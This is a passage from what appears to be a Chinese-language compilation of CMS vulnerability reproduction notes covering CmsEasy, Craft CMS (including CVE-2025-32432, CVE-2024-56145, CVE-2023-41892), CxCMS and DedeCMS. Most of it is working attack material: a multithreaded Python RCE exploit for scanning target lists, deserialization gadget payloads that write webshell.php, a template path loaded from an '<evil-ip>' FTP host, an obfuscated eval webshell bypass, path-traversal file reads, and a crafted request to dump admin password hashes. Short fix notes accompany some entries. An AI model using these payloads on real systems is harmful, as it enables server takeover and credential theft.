$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
$nh = rand(0,64);
$ch = $chars[$nh];
$mdKey = md5($key.$ch);
$mdKey = substr($mdKey,$nh%8, $nh%8+8);
$txt = base64_encode($txt);
$tmp = '';
$i=0;$j=0;$k = 0;
for ($i=0; $i<strlen($txt); $i++) {
$k = $k == strlen($mdKey) ? 0 : $k;
$j = ($nh+strpos($chars,$txt[$i])+ord($mdKey[$k++]))%64;
$tmp .= $chars[$j];
}
return urlencode($ch.$tmp);
}
/**对字符串进行解密。 crossall_act文件使用
* @param $txt
* @param string $key
* @return bool|string
*/
public static function unlockString($txt,$key='cmseasy_sql')
{
$txt = urldecode($txt);
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
$ch = $txt[0];
$nh = strpos($chars,$ch);
$mdKey = md5($key.$ch);
$mdKey = substr($mdKey,$nh%8, $nh%8+8);
$txt = substr($txt,1);
$tmp = '';
$i=0;$j=0; $k = 0;
for ($i=0; $i<strlen($txt); $i++) {
$k = $k == strlen($mdKey) ? 0 : $k;
$j = strpos($chars,$txt[$i])-$nh - ord($mdKey[$k++]);
while ($j<0) $j+=64;
$tmp .= $chars[$j];
}
return base64_decode($tmp);
}文件中得到了 $key='cmseasy_sql' 和加解密方法,构造请求获取账号密码md5
/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5File: CMS漏洞/CmsEasy language_admin.php 后台命令执行漏洞.md
CmsEasy language_admin.php 后台命令执行漏洞
漏洞描述
CmsEasy 后台存在命令执行漏洞,通过文件 language_admin.php 对部分文件进行写入操作,导致任意文件写入
漏洞影响
CmsEasy V7.7.5_20210919网络测绘
body="cmseasyedit"漏洞复现
存在漏洞的文件为 lib/admin/language_admin.php
function add_action() {
$lang_choice='system.php';
if (isset($_GET['lang_choice'])){
$lang_choice=$_GET['lang_choice'];
}
if (front::post('submit')) {
$langid=front::get('id');
$lang=new lang();
$langdata = $lang->getrows('id='.$langid, 1);
if (is_array($langdata)){
$langurlname=$langdata[0]['langurlname'];
}else{
front::alert(lang_admin('language_pack').lang_admin('nonentity'));
}
$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
$tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
$content=file_get_contents($path);
$tipscontent=file_get_contents($tipspath);
$replace="'".front::$post['key']."'=>'".front::$post['val']."',";
$tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
$content=str_replace(');',"\n".$replace.');',$content);
file_put_contents($path,$content);
$pos=strpos($tipscontent,$tipsreplace);
if ($langurlname != 'cn'&&$pos === false) {
$tipscontent=str_replace(');',"\n".$tipsreplace.');',$tipscontent);
file_put_contents($tipspath,$tipscontent);
}
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.$langurlname.'/'.$lang_choice,$path);
}
}
event::log(lang_admin('add_to').lang_admin('language_pack'),lang_admin('success'));
//
$shepi='<script type="text/javascript">alert("'.lang_admin('dosomething').lang_admin('complete').'");gotoinurl("'.url('language/edit/id/'.$langdata[0]['id'],true);
$shepi=$shepi.'&lang_choice='.$lang_choice;
$shepi=$shepi.'");</script>';
echo $shepi;
//exit;
//front::refresh(url('language/edit',true));
}
$this->view->lang_choice=$lang_choice;
}访问这个页面
其中参数有三个,分别为 key , cnnote, val
传入参数后,查看 lang/cn/system_custom.php 文件中
<?php
/*
*中文语言包
*/
return
array(
'2'=>'3',);
?>由于没有对传入的参数进行过滤,通过写入特殊的参数就可以逃逸出数组造成命令执行
分别传入两次参数
test1 test2 test3);写入后文件内容
<?php
/*
*中文语言包
*/
return
array(
'test2'=>'test3);',);
?>再传入一次参数
test4 ,test5, ,phpinfo());/*写入后文件内容
访问文件 /lang/cn/system_custom.php
File: CMS漏洞/CmsEasy update_admin.php 后台任意文件上传漏洞.md
CmsEasy update_admin.php 后台任意文件上传漏洞
漏洞描述
CmsEasy 后台存在任意文件上传漏洞,通过文件 service.php 加密Url参数执行即可上传任意文件
漏洞影响
CmsEasy V7.7.5_20210919网络测绘
body="cmseasyedit"漏洞复现
存在漏洞的文件为 lib/admin/update_admin.php
其中需要注意的代码为
function downfile_action()
{
$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');
if (!$res) {
$res = array(
'err' => 1,
'data' => lang_admin('update_package_download_failed'),
);
} else {
@unlink('upgrade/config_cn.php');
@unlink('upgrade/config_cn.tmp.php');
@unlink('upgrade/upgrade.sql');
@unlink('upgrade/command.php');
front::remove(ROOT.'/cache/data');
front::remove(ROOT.'/cache/template');//清空全部语言
$langdata=getlang();
if($langdata != ""){
foreach ($langdata as $key=>$val){
front::remove(ROOT.'/cache/'.$val['langurlname']);
front::remove(ROOT.'/'.$val['langurlname'].'/template');
}
}
//先清空缓存
user::deletesession();
category::deletesession();
//提取分类
if(file_exists(ROOT."/lib/table/type.php")) {
type::deletesession();
}
//提取专题
if(file_exists(ROOT."/lib/table/special.php")) {
special::deletesession();
}
$archive = new PclZip('cache/patch.zip');
$archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);
if(file_exists('upgrade/upgrade.sql')) {
$sqlquery = file_get_contents('upgrade/upgrade.sql');
$sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);
$sqlquery = str_replace("\r", "", $sqlquery);
$sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
$this->exec_cms_sql($sqls);
}
if(file_exists('upgrade/command.php')){
include ROOT . '/upgrade/command.php';
}
$res = array(
'err' => 0,
'message' => $this->message,
'data' => lang_admin('upgrade_successful'),
);
}
echo json_encode($res);
exit;
}其中使用 unlockString 和 get_file 方法
$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');写入后在上层目录写入文件,即Web根目录,创建压缩包并上传可访问的服务器上
zip phpinfo.zip phpinfo.php构造下载请求
/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxwFile: CMS漏洞/Craft CMS generate-transform 反序列化代码执行漏洞 CVE-2025-32432.md
Craft CMS generate-transform 反序列化代码执行漏洞 CVE-2025-32432
漏洞描述
Craft CMS 是一个灵活、用户友好的内容管理系统,用于创建自定义的数字网络体验和其他体验。CVE-2025-32432 中,攻击者可构造恶意请求利用 generate-transform 端点触发反序列化,执行任意代码,控制服务器。官方已发布安全更新,建议升级至最新版本。
参考链接:
- https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical
- https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical
- https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical
- https://github.com/craftcms/cms/commit/e1c85441fa47eeb7c688c2053f25419bc0547b47
- https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
- https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
漏洞影响
3.0.0-RC1 <= Craft <= 3.9.14
4.0.0-RC1 <= Craft <= 4.14.14
5.0.0-RC1 <= Craft <= 5.6.16网络测绘
header="X-Powered-By: Craft CMS" || banner="X-Powered-By: Craft CMS"环境搭建
参考 CVE-2024-56145 漏洞环境,Vulhub 执行以下命令启动一个 CraftCMS 5.5.1.1 服务器:
docker-compose up -d服务器启动后,你可以在 http://your-ip:8088/admin/install 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 db,用户名和密码均为 root。
漏洞复现
访问 http://your-ip:8088/index.php?p=admin/dashboard,跟随重定向,获取 CRAFT_CSRF_TOKEN:
GET /index.php?p=admin/dashboard HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7将上一步获取的 CRAFT_CSRF_TOKEN 填入 X-CSRF-Token 头部,向 http://your-ip:8088/index.php?p=admin/actions/assets/generate-transform 发送带有 payload 的 POST 请求:
GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/json
Cookie:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-CSRF-Token: _W7rdrj_Wb5GVxnxxxxWBFQej5zhNNyQN65ikAY=
{"assetId": 11, "handle": {"width": 123, "height": 123, "as session": {"class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}}触发反序列化,通过 GuzzleHttp\Psr7\FnStream 类执行任意代码:
漏洞 POC
# https://github.com/Sachinart/CVE-2025-32432
#!/usr/bin/env python3
"""
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.
The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.
Usage:
Single target:
python3 craftcms_rce.py -u example.com
Multiple targets:
python3 craftcms_rce.py -f urls.txt -t 10
"""
import argparse
import concurrent.futures
import re
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CraftCMSExploit:
def __init__(self, url):
"""Initialize the exploit with the target URL."""
self.url = url if url.endswith('/') else url + '/'
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
}
def normalize_url(self, url):
"""Ensure URL has a scheme."""
if not url.startswith('http'):
url = 'http://' + url
return url
def extract_csrf_token(self):
"""Get the CSRF token from the dashboard page."""
try:
dashboard_url = self.url + "index.php?p=admin/dashboard"
response = self.session.get(dashboard_url, timeout=10)
if response.status_code == 200:
# Parse the HTML response
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
if csrf_input and csrf_input.get('value'):
csrf_token = csrf_input.get('value')
return csrf_token
else:
# Try regex as fallback
match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
if match:
return match.group(1)
return None
except Exception as e:
print(f"Error extracting CSRF token from {self.url}: {str(e)}")
return None
def exploit(self):
"""Attempt to exploit the vulnerability and return results."""
result = {
'url': self.url,
'vulnerable': False,
'db_name': None,
'home_dir': None,
'error': None
}
try:
# Extract CSRF token
csrf_token = self.extract_csrf_token()
if not csrf_token:
result['error'] = "Failed to extract CSRF token"
return result
# Prepare exploit request
exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
headers = {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf_token
}
payload = {
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)
# Check if the exploit succeeded
if 'PHP Version' in response.text and 'PHP License' in response.text:
result['vulnerable'] = True
# Extract CRAFT_DB_DATABASE value
db_match = re.search(r'<tr><td class="e">CRAFT_DB_DATABASE\s*</td><td class="v">([^<]+)</td></tr>', response.text)
if db_match:
result['db_name'] = db_match.group(1).strip()
# Extract HOME directory value
home_match = re.search(r'<tr><td class="e">\$_SERVER\[\'HOME\'\]</td><td class="v">([^<]+)</td></tr>', response.text)
if home_match:
result['home_dir'] = home_match.group(1).strip()
# If HOME is not found, try to find it in a different format
if not result['home_dir']:
alt_home_match = re.search(r'<tr><td class="e">HOME</td><td class="v">([^<]+)</td></tr>', response.text)
if alt_home_match:
result['home_dir'] = alt_home_match.group(1).strip()
return result
except Exception as e:
result['error'] = str(e)
return result
def process_url(url):
"""Process a single URL."""
try:
# Normalize URL
if not url.startswith('http'):
url = 'http://' + url
print(f"[*] Testing {url}")
exploit = CraftCMSExploit(url)
result = exploit.exploit()
if result['vulnerable']:
print(f"[+] VULNERABLE: {url}")
print(f" CRAFT_DB_DATABASE: {result['db_name'] or 'Not found'}")
print(f" HOME Directory: {result['home_dir'] or 'Not found'}")
with open('vulnerable.txt', 'a') as f:
f.write(f"{url},{result['db_name'] or 'Not found'},{result['home_dir'] or 'Not found'}\n")
elif result['error']:
print(f"[-] ERROR ({url}): {result['error']}")
else:
print(f"[-] Not vulnerable: {url}")
return result
except Exception as e:
print(f"[-] Error processing {url}: {str(e)}")
return {'url': url, 'vulnerable': False, 'error': str(e)}
def main():
parser = argparse.ArgumentParser(description='CraftCMS CVE-2025-32432 RCE Exploit')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-f', '--file', help='File containing URLs to test')
group.add_argument('-u', '--url', help='Single URL to test')
parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads (default: 5)')
args = parser.parse_args()
urls = []
# Handle single URL mode
if args.url:
urls = [args.url]
print(f"[*] Testing single target: {args.url}")
# Handle file mode
elif args.file:
try:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(urls)} URLs from {args.file}")
except Exception as e:
print(f"Error reading URL file: {str(e)}")
sys.exit(1)
print(f"[*] Starting scan with {args.threads} threads")
# Create results file for vulnerable sites
with open('vulnerable.txt', 'w') as f:
f.write("url,craft_db_database,home_directory\n")
# Process URLs using thread pool
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
results = list(executor.map(process_url, urls))
# Summary
vulnerable_count = sum(1 for r in results if r['vulnerable'])
print("\n=== SCAN SUMMARY ===")
print(f"Total URLs scanned: {len(urls)}")
print(f"Vulnerable sites: {vulnerable_count}")
print(f"Detailed results saved to vulnerable.txt")
if __name__ == "__main__":
main()漏洞修复
升级至安全版本及其以上。
File: CMS漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md
CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
漏洞描述
CraftCMS 是一个基于 PHP 的内容管理系统,用于构建网站和应用程序。
CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 register_argc_argv 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。
参考链接:
- https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9
- https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms
披露时间
2024-12-19
漏洞影响
5.0.0-RC1 <= Craft CMS < 5.5.2
4.0.0-RC1 <= Craft CMS < 4.13.2环境搭建
Vulhub 执行以下命令启动一个 CraftCMS 5.5.1.1 服务器:
docker-compose up -d服务器启动后,你可以在 http://<your-ip>:8088/admin/install 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 db,用户名和密码均为 root。
漏洞复现
要复现该漏洞,你需要准备一个包含以下内容的 index.twig 文件并放置在任意远程服务器上:
{{ ['system', 'id'] | sort('call_user_func') | join('') }}然后在 index.twig 文件所在的服务器中启动一个 FTP 服务器:
# 安装 pyftpdlib
pip install pyftpdlib
# 启动 FTP 服务器
python -m pyftpdlib -p 21212 -V然后你可以通过发送以下请求来利用该漏洞:
http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/漏洞修复
- 升级 Craft CMS 至安全版本。
- 设置 register_argc_argv 为 off。
File: CMS漏洞/CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892.md
CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892
漏洞描述
CraftCMS 是一个灵活、用户友好的内容管理系统,用于在 Web 上创建自定义的数字体验。它为用户提供了一个后端界面来实现网站并配置 CMS。
CraftCMS 4.4.0 至 4.4.14 版本中存在一个远程代码执行漏洞。未经身份验证的攻击者可以通过 ConditionsController 实现远程代码执行。该漏洞存在于控制器的 beforeAction 方法中,由于输入验证不足,攻击者可以利用该漏洞创建任意对象并实现代码执行。
参考链接:
- https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
- https://blog.calif.io/p/craftcms-rce
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
漏洞影响
4.0.0-RC1 <= Craft CMS <= 4.4.14环境搭建
Vulhub 执行如下命令启动一个存在漏洞的 Craft CMS 4.4.14 环境:
docker compose up -d环境启动后,访问 http://your-ip:8088/admin/install 即可看到 CraftCMS 的安装页面。请按照页面提示完成安装,默认数据库地址为 db,用户名和密码均为 root。
漏洞复现
漏洞的根本原因是攻击者可以通过 PHP 对象注入发送特制的 HTTP 请求来创建任意对象。通过链接代码库中的多个 gadget,攻击者可以实现远程代码执行。
有两种常用的 gadget 组合可以实现远程代码执行。
Gadget 1:使用 `craft\elements\conditions\users\UserCondition` 和 `\Psy\Configuration`
这个 gadget 需要服务器开启日志记录功能,该功能默认是开启的。
首先,发送一个包含语法错误的 JSON 的 POST 请求,将 payload 写入日志文件:
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: application/json
{
aaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa
<?php
@phpinfo(); __halt_compiler();
?>
}然后,通过 \Psy\Configuration gadget 包含日志文件来触发远程代码执行(请将 2025-04-07 替换为当前日期):
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: application/json
{
"config": {
"name": "test",
"as xyz": {
"class": "\\Psy\\Configuration",
"__construct()": {
"config": {
"configFile": "../storage/logs/web-2025-03-31.log"
}
}
}
},
"test": "craft\\elements\\conditions\\users\\UserCondition"
}如图所示,phpinfo() 成功执行。
Gadget 2:使用 `craft\elements\conditions\users\UserCondition` 和内置的 `Imagick` 类
如果服务器启用了 Imagick 扩展,可以使用 Imagick 类的 MSL 格式来写入任意文件:
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytlNPtAxuuGOeUqqY
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="test"
craft\elements\conditions\users\UserCondition
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[name]"
test
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][class]"
imagick
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][__construct()][0][0]"
vid:msl:/tmp/php*
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="file"; filename="1.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?=phpinfo();?>"/>
<write filename="info:webshell.php" />
</image>
------WebKitFormBoundarytlNPtAxuuGOeUqqY--这个 payload 会执行类似 new Imagick('vid:msl:/tmp/php*'); 的 PHP 代码,并导致 "Segmentation fault" 错误,使线程崩溃:
但是 webshell.php 文件已经成功写入:
http://your-ip:8088/webshell.php漏洞修复
此问题已在 CraftCMS 4.4.15 中修复。更新至 4.4.15 及以上版本。
File: CMS漏洞/CxCMS Resource.ashx 任意文件读取漏洞.md
CxCMS Resource.ashx 任意文件读取漏洞
漏洞描述
CxCMS 存在任意文件读取,由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严,导致可以读取系统敏感文件。
漏洞影响
CxCMS网络测绘
"Powered by CxCms"漏洞复现
关键字"Powered by CxCms"
验证POC
/Sys/Handler/Resource.ashx?_FilePath=../../web.configFile: CMS漏洞/DedeCMS 5.7 file_manage_control.php 文件包含 RCE CVE-2023-2928.md
DedeCMS 5.7 file_manage_control.php 文件包含 RCE CVE-2023-2928
漏洞描述
版本 5.7.106 之前的 DedeCMS 中存在漏洞,/dede/article_allowurl_edit.php 缺少对该文件中写入内容的过滤,结合 /dede/file_manage_control.php 文件构造文件包含代码,将构成远程代码执行。
漏洞影响
DedeCMS < 5.7.106漏洞复现
文件 /dede/article_allowurl_edit.php 中未对文件内容做任何过滤,会把内容写入到
/data/admin/allowurl.txt 这个文件当中。
访问文件 /dede/article_allowurl_edit.php:
www.dedecms.com
www.desdev.cn
bbs.dedecms.com
<?php phpinfo();?>通过/dede/file_manage_control.php文件构造文件包含代码:
# Payload
fmdo=edit&backurl=&token=&activepath=&filename=shell.php&str=<?php include_once("./data/admin/allowurl.txt");?>POST /dede/file_manage_control.php HTTP/1.1
Host: <YOUR_IP>
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://<YOUR_IP>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<YOUR_IP>/dede/article_allowurl_edit.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie:
Connection: close
fmdo=edit&backurl=&token=&activepath=&filename=shell.php&str=%3C%3Fphp+include_once%28%22.%2Fdata%2Fadmin%2Fallowurl.txt%22%29%3B%3F%3E成功写入,访问:
http://<YOUR_IP>/shell.phpFile: CMS漏洞/DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933.md
DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933
漏洞描述
Desdev DedeCMS(织梦内容管理系统)是中国卓卓网络(Desdev)公司的一套基于 PHP 的开源内容管理系统(CMS)。该系统具有内容发布、内容管理、内容编辑和内容检索等功用。 DedeCMS 5.7 SP2 版本中存在漏洞。远程攻击者可经过在添加新模板时,将文件名 ../index.html 更改成 ../index.php 应用该漏洞向 uploads/ 目录上传 .php 文件并执行该文件。
漏洞影响
DedeCMS 5.7 SP2漏洞复现
默认后台登陆路径 /dede/login.php 或 /uploads/dede/login.php ,默认用户名密码 admin/admin。
模板 -> 默认模板管理 -> 新建模板,写入shell,保存:
生成 -> 更新主页 HTML -> 浏览:
选择主页模板:default/newtpl.htm
主页位置:更改.html后缀为.php
首页模式:生成静态连接 webshell:
http://<YOUR-IP>/index.phpBYPASS
如果被检测到存在恶意代码:
进行绕过,保存成功:
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");核心 -> 频道类型 -> 单页文档管理,通过新建模板 newtpl.htm 新建页面,更改 .html 后缀为 .php:
现在,我们在 /a/ 目录下创建了一个文件,访问 /a/npc.php 页面,将会执行 file_put_contents 函数生成一个 shell.php:
http://<YOUR-IP>/a/shell.phpFile: CMS漏洞/DedeCMS 5.8.1 common.func.php 远程命令执行漏洞.md
DedeCMS 5.8.1 common.func.php 远程命令执行漏洞
漏洞描述
DocCMS flink.php 文件存远程命令执行漏洞,攻击者通过漏洞可以执行任意命令
漏洞影响
DedeCMS v5.81 beta 内测版网络测绘
"DedeCMS_V5.8.1"漏洞复现
产品页面
查看文件 include/common.func.php 的 ShowMsg方法
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
$htmlhead = "
<html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
<meta name=\"renderer\" content=\"webkit\">
<meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
<base target='_self'/>
</head>
<body>
" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
<center style=\"width:450px\" class=\"uk-container\">
<div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
<div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息!</div>
<script>\r\n";
$htmlfoot = "
</script>
</center>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
</body>\r\n</html>\r\n";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
if ($gourl == '-1') {
if ($limittime == 0) {
$litime = 3000;
}
$gourl = "javascript:history.go(-1);";
}
if ($gourl == '' || $onlymsg == 1) {
$msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if (preg_match('/close::/', $gourl)) {
$tgobj = trim(preg_replace('/close::/', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
}
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
$rmsg .= "document.write(\"";
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
$rmsg .= "<br/></div>\");\r\n";
}
} else {
$rmsg .= "<br/><br/></div>\");\r\n";
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
/**
* 获取验证码的session值
*
* @return string
*/这里注意到 当 $gourl 变量为 -1 时调用 ShowMsg方法, 则请求参数 Referer 为用户可控参数
向下看,可以发现可控的变量传入两个方法
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();追踪方法来到 include/dedetemplate.class.php 文件
ParseTemplate() 则是模版渲染的方法,再往下看
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
}追踪一下 WriteCache() 方法
看 GetResult() 方法 和 CheckDisableFunctions() 方法
public function GetResult()
{
if (!$this->isParse) {
$this->ParseTemplate();
}
$addset = '';
$addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
}
public function CheckDisabledFunctions($str, &$errmsg = '')
{
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
// 模板引擎增加disable_functions
if (!defined('DEDEDISFUN')) {
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
return false;
}
}
}
}
return true;
}GetResult() 方法执行后返回的结果通过 CheckDisabledFunctions() 方法过滤后 经过Display() 的 include $this->cacheFile;
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
